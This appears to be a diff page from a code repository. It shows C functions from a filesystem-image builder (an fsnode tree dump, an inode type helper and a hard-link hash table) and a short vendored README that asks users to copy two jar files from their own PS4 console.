dump_fsnodes(fsnode *root)
{
fsnode *cur;
char path[MAXPATHLEN + 1];
printf("dump_fsnodes: %s %p\n", root->path, root);
for (cur = root; cur != NULL; cur = cur->next) {
if (snprintf(path, sizeof(path), "%s/%s", cur->path,
cur->name) >= (int)sizeof(path))
errx(1, "Pathname too long.");
if (debug & DEBUG_DUMP_FSNODES_VERBOSE)
printf("cur=%8p parent=%8p first=%8p ",
cur, cur->parent, cur->first);
printf("%7s: %s", inode_type(cur->type), path);
if (S_ISLNK(cur->type)) {
assert(cur->symlink != NULL);
printf(" -> %s", cur->symlink);
} else {
assert (cur->symlink == NULL);
}
if (cur->inode->nlink > 1)
printf(", nlinks=%d", cur->inode->nlink);
putchar('\n');
if (cur->child) {
assert (cur->type == S_IFDIR);
dump_fsnodes(cur->child);
}
}
printf("dump_fsnodes: finished %s/%s\n", root->path, root->name);
}
/*
* inode_type --
* for a given inode type `mode', return a descriptive string.
* for most cases, uses inotype() from mtree/misc.c
*/
const char *
inode_type(mode_t mode)
{
if (S_ISLNK(mode))
return ("symlink"); /* inotype() returns "link"... */
return (inotype(mode));
}
/*
* link_check --
* return pointer to fsinode matching `entry's st_ino & st_dev if it exists,
* otherwise add `entry' to table and return NULL
*/
/* This was borrowed from du.c and tweaked to keep an fsnode
* pointer instead. -- dbj@netbsd.org
*/
static fsinode *
link_check(fsinode *entry)
{
static struct entry {
fsinode *data;
} *htable;
static int htshift; /* log(allocated size) */
static int htmask; /* allocated size - 1 */
static int htused; /* 2*number of insertions */
int h, h2;
uint64_t tmp;
/* this constant is (1<<64)/((1+sqrt(5))/2)
* aka (word size)/(golden ratio)
*/
const uint64_t HTCONST = 11400714819323198485ULL;
const int HTBITS = 64;
/* Never store zero in hashtable */
assert(entry);
/* Extend hash table if necessary, keep load under 0.5 */
if (htused<<1 >= htmask) {
struct entry *ohtable;
if (!htable)
htshift = 10; /* starting hashtable size */
else
htshift++; /* exponential hashtable growth */
htmask = (1 << htshift) - 1;
htused = 0;
ohtable = htable;
htable = calloc(htmask+1, sizeof(*htable));
/* populate newly allocated hashtable */
if (ohtable) {
int i;
for (i = 0; i <= htmask>>1; i++)
if (ohtable[i].data)
link_check(ohtable[i].data);
free(ohtable);
}
}
/* multiplicative hashing */
tmp = entry->st.st_dev;
tmp <<= HTBITS>>1;
tmp |= entry->st.st_ino;
tmp *= HTCONST;
h = tmp >> (HTBITS - htshift);
h2 = 1 | ( tmp >> (HTBITS - (htshift<<1) - 1)); /* must be odd */
/* open address hashtable search with double hash probing */
while (htable[h].data) {
if ((htable[h].data->st.st_ino == entry->st.st_ino) &&
(htable[h].data->st.st_dev == entry->st.st_dev)) {
return htable[h].data;
}
h = (h + h2) & htmask;
}
/* Insert the current entry into hashtable */
htable[h].data = entry;
htused++;
return NULL;
}

5
thirdparty/topsecret/README.txt vendored Normal file
View File

@@ -0,0 +1,5 @@
These files must be retrieved from your PS4 and placed here:
/app/NPXS20113/bdjstack/bdjstack.jar
/app/NPXS20113/bdjstack/lib/rt.jar